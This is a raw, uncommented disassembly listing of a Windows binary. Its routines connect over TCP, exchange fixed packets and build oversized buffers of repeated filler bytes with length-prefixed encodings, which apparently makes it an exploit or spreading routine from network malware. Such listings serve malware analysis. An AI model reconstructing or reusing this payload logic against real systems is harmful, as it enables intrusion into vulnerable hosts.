		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB

loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------

loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------

loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		nop
		call	near ptr 2610F41h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_415450
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43ADD8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43AD98
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797

loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------

loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------

loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1

loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5

loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1

loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43AE30
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax

loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx

loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF

loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------

loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------

loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_436EF4
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------

loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1

loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35

loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------

loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61

loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------

loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43ADB0

loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43AD94
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43ADE8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------

loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_436EEC
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B

loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------

loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1

loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl

loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3

loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


